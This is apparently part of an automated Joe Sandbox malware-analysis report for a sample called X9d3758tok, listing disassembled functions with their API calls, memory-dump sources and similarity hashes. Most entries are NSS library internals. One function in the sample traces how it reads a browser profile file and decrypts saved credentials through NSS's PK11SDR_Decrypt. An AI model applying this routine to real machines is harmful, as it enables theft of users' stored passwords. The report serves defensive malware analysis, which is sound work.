Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

PR_SetError.NSS3(00000000,00000000), ref: 6C76316D

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: b0db73c7119a3665f4083ae19959fe4f35a74ac76825fe769d4920d878cd6480
Instruction ID: 79f4a795dca81d7a53cc107bf2165066ac22af73d352b2cdae54e4cb81d2d159
Opcode Fuzzy Hash: b0db73c7119a3665f4083ae19959fe4f35a74ac76825fe769d4920d878cd6480
Instruction Fuzzy Hash: 36F1ACB1D00609AFDF11DF69D988B9EBBB4BF09318F184169EC04A7B11E731A895CBD1

Function 6C764C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C764C4C
EnterCriticalSection.KERNEL32(?), ref: 6C764C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C764CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C764CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C764CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C764D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C764D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C764DB7

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

TlsGetValue.KERNEL32 ref: 6C764DD7
EnterCriticalSection.KERNEL32(?), ref: 6C764DEC
PR_Unlock.NSS3(?), ref: 6C764E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C764E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C764E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C764E71
free.MOZGLUE(00000000), ref: 6C764E7A
PR_Unlock.NSS3(?), ref: 6C764EA2
TlsGetValue.KERNEL32 ref: 6C764EC1
EnterCriticalSection.KERNEL32(?), ref: 6C764ED6
PR_Unlock.NSS3(?), ref: 6C764F01
free.MOZGLUE(00000000), ref: 6C764F2A

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 4108dc3425bcfe68628f8cff4e847d38d8017e390e2423cf3b24d15b3d8bb474
Instruction ID: f27e180a4e8349a193f547521069b4c1d56e05d6a73812d0f53fbcc446a18dce
Opcode Fuzzy Hash: 4108dc3425bcfe68628f8cff4e847d38d8017e390e2423cf3b24d15b3d8bb474
Instruction Fuzzy Hash: 12B110B1A002069FDB11EF69D959AAA77B8BF4A31CF044134ED0597F01EB30E964CBE1

Function 0040CA90 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040CAA5

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,008609A8,00000000,?,00421544,00000000,?,?), ref: 0040CB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CB89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CBA8
??_U@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CBB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CBD9
StrStrA.SHLWAPI(?,00860A38,00420B56), ref: 0040CBF7
StrStrA.SHLWAPI(00000000,00860948), ref: 0040CC1E
StrStrA.SHLWAPI(?,00861278,00000000,?,00421550,00000000,?,00000000,00000000,?,0085DB50,00000000,?,0042154C,00000000,?), ref: 0040CDA2
StrStrA.SHLWAPI(00000000,00861198), ref: 0040CDB9

Part of subcall function 0040C920: memset.MSVCRT ref: 0040C953
Part of subcall function 0040C920: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,0085DBE0), ref: 0040C971
Part of subcall function 0040C920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C97C
Part of subcall function 0040C920: PK11_GetInternalKeySlot.NSS3 ref: 0040C98A
Part of subcall function 0040C920: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C9A5
Part of subcall function 0040C920: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C9EB
Part of subcall function 0040C920: memcpy.MSVCRT(?,?,?), ref: 0040CA12
Part of subcall function 0040C920: PK11_FreeSlot.NSS3(?), ref: 0040CA61

StrStrA.SHLWAPI(?,00861198,00000000,?,00421554,00000000,?,00000000,0085DBE0), ref: 0040CE5A
StrStrA.SHLWAPI(00000000,0085DD80), ref: 0040CE71

Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B47), ref: 0040CA43
Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B4B), ref: 0040CA57
Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B4E), ref: 0040CA78

lstrlenA.KERNEL32(00000000), ref: 0040CF44
CloseHandle.KERNEL32(00000000), ref: 0040CF9C
NSS_Shutdown.NSS3 ref: 0040CFAA

Strings

, xrefs: 0040CAC6

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 3555573487-3916222277
Opcode ID: eaf7044f3500c59f36d3f287525a42f8cb79d496bee504c715cda46ff3f43707
Instruction ID: 4fdc336044367871c69213567fe42fce90f61d04e08d5fff212e48b059342ccf
Opcode Fuzzy Hash: eaf7044f3500c59f36d3f287525a42f8cb79d496bee504c715cda46ff3f43707
Instruction Fuzzy Hash: 2AE13E71D05108ABCB14EBA1DCA6FEEB779AF14304F00419EF10663191EF387A99CB69

Function 6C735DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C735DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C735E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C735E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C735E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C735EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C735ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C735F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C735F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C735F89
free.MOZGLUE(?), ref: 6C735FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C735FB6
free.MOZGLUE(00000000), ref: 6C735FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C73600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C736079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C736084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C736094

Strings

, xrefs: 6C735EEB

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 55a3391083bba719ac67926c54e309869db6c28d7869a029544e2cad677f22c3
Instruction ID: ec86474ab7f1f9b6b31f21bd86322f5acf7d1118dda313b56fce1165375fc680
Opcode Fuzzy Hash: 55a3391083bba719ac67926c54e309869db6c28d7869a029544e2cad677f22c3
Instruction Fuzzy Hash: 3E8117B1E002269BDF508A64EE89B9E77B4AF04318F145538E85DE7793E731E904CBE1

Function 6C756D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C756D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C756DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C756DC3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C756DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C756DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C756E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C756E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C756E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C756EB9

Strings

ulDataLen = %d, xrefs: 6C756E0E
*pulDigestLen = 0x%x, xrefs: 6C756EB4
(CK_INVALID_HANDLE), xrefs: 6C756DBC
pDigest = 0x%p, xrefs: 6C756E27
pData = 0x%p, xrefs: 6C756DF5
pulDigestLen = 0x%p, xrefs: 6C756E42
hSession = 0x%x, xrefs: 6C756D9E, 6C756DAE
C_Digest, xrefs: 6C756D81

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 537a93fd21a4e878d5e33e1ab0b63ddebd6fe8240f5946c8f588db7cd9bb9f01
Instruction ID: 406fd7ca381945e8e348fed29f19ce19d4aa2387ace60b9c895960553f42372a
Opcode Fuzzy Hash: 537a93fd21a4e878d5e33e1ab0b63ddebd6fe8240f5946c8f588db7cd9bb9f01
Instruction Fuzzy Hash: CD41E635602118AFDB309F58DF8DA9A3BB5AB4330DF459434E80897B12DF34A968CBD1

Function 6C759C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C759C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C759C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C759CA3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C759CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C759CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C759CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C759D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C759D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C759D42

Strings

pPin = 0x%p, xrefs: 6C759CF0
userType = 0x%x, xrefs: 6C759CD5
ulUsernameLen = %d, xrefs: 6C759D3D
(CK_INVALID_HANDLE), xrefs: 6C759C9C
ulPinLen = %d, xrefs: 6C759D0B
pUsername = 0x%p, xrefs: 6C759D24
hSession = 0x%x, xrefs: 6C759C7E, 6C759C8E
C_LoginUser, xrefs: 6C759C61

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 10f075443dfa52d67f0db311594c271eed6a8298f853b05b053856ce69618880
Instruction ID: db3e33ba8da89c6d9e318bc583f7c8a04e413a6d7e035251822fb72f18164c95
Opcode Fuzzy Hash: 10f075443dfa52d67f0db311594c271eed6a8298f853b05b053856ce69618880
Instruction Fuzzy Hash: 29411875602144AFDB208F58DF8DE9D3BB5AB5330DF858474E80857B12DB34A829DBD1

Function 6C839C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C839C70
PR_NewLock.NSS3 ref: 6C839C85

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

PR_NewCondVar.NSS3(00000000), ref: 6C839C96

Part of subcall function 6C70BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7121BC), ref: 6C70BB8C

PR_NewLock.NSS3 ref: 6C839CA9

Part of subcall function 6C7E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7E9946
Part of subcall function 6C7E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A16B7,00000000), ref: 6C7E994E
Part of subcall function 6C7E98D0: free.MOZGLUE(00000000), ref: 6C7E995E

PR_NewLock.NSS3 ref: 6C839CB9
PR_NewLock.NSS3 ref: 6C839CC9
PR_NewCondVar.NSS3(00000000), ref: 6C839CDA

Part of subcall function 6C70BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C70BBEB
Part of subcall function 6C70BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C70BBFB
Part of subcall function 6C70BB80: GetLastError.KERNEL32 ref: 6C70BC03
Part of subcall function 6C70BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C70BC19
Part of subcall function 6C70BB80: free.MOZGLUE(00000000), ref: 6C70BC22

PR_NewCondVar.NSS3(?), ref: 6C839CF0
PR_NewPollableEvent.NSS3 ref: 6C839D03

Part of subcall function 6C82F3B0: PR_CallOnce.NSS3(6C8814B0,6C82F510), ref: 6C82F3E6
Part of subcall function 6C82F3B0: PR_CreateIOLayerStub.NSS3(6C88006C), ref: 6C82F402
Part of subcall function 6C82F3B0: PR_Malloc.NSS3(00000004), ref: 6C82F416
Part of subcall function 6C82F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C82F42D
Part of subcall function 6C82F3B0: PR_SetSocketOption.NSS3(?), ref: 6C82F455
Part of subcall function 6C82F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C82F473

Part of subcall function 6C7E9890: TlsGetValue.KERNEL32(?,?,?,6C7E97EB), ref: 6C7E989E

EnterCriticalSection.KERNEL32(?), ref: 6C839D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C839DAF
_PR_CreateThread.NSS3(00000000,6C839EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C839D9F

Part of subcall function 6C70B3C0: TlsGetValue.KERNEL32 ref: 6C70B403
Part of subcall function 6C70B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C70B459

_PR_CreateThread.NSS3(00000000,6C83A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C839DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C839DFC
_PR_CreateThread.NSS3(00000000,6C83A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C839E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C839E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C839E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C839E89

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 4830a74c3720333b0169c65e42cc54aeefad6e12b94a6bbaf0497b2c0b4a28e2
Instruction ID: ac424be69bbd456d9a9384bf7e62f86511ad4feeac58a090ea2c8f54c801694f
Opcode Fuzzy Hash: 4830a74c3720333b0169c65e42cc54aeefad6e12b94a6bbaf0497b2c0b4a28e2
Instruction Fuzzy Hash: 4F614CB1A00716AFD725DF75D948AA7BBE8FF08208B045939E809C7B51EB70E514CBE1

Function 6C778E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C778E01,00000000,6C779060,6C880B64), ref: 6C778E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C778E01,00000000,6C779060,6C880B64), ref: 6C778E9E
PORT_ArenaAlloc_Util.NSS3(6C880B64,00000001,?,?,?,?,6C778E01,00000000,6C779060,6C880B64), ref: 6C778EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C778E01,00000000,6C779060,6C880B64), ref: 6C778EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C778E01,00000000,6C779060,6C880B64), ref: 6C778ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C778E01,00000000,6C779060,6C880B64), ref: 6C778EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C778E01), ref: 6C778EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C880B64,6C880B64), ref: 6C778F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C778F3F

Part of subcall function 6C77A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C77A421,00000000,00000000,6C779826), ref: 6C77A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C77904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C778E76

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 92830d2f0a4d278edf9dc8c9bf745a2397814ffe499cd4c7a312aa832eb2fd11
Instruction ID: 2bd54a3e8b7abbc3b0a1d3cb40e87889ca70920d3d4d754ac83bc650cc96015c
Opcode Fuzzy Hash: 92830d2f0a4d278edf9dc8c9bf745a2397814ffe499cd4c7a312aa832eb2fd11
Instruction Fuzzy Hash: 6B61A1B1E0111AABDF20CF55CE48AABB7B5EF95358F144538EC18A7740E731A915CBB0

Function 6C754E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C754E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C754EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C754EC7

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C754EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C754F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C754F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C754F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C754F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C754F68

Strings

C_GetAttributeValue, xrefs: 6C754E7E
pTemplate = 0x%p, xrefs: 6C754F4A
ulCount = %d, xrefs: 6C754F63
(CK_INVALID_HANDLE), xrefs: 6C754EC0, 6C754F13
hObject = 0x%x, xrefs: 6C754EF5, 6C754F05
hSession = 0x%x, xrefs: 6C754EA2, 6C754EB2

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
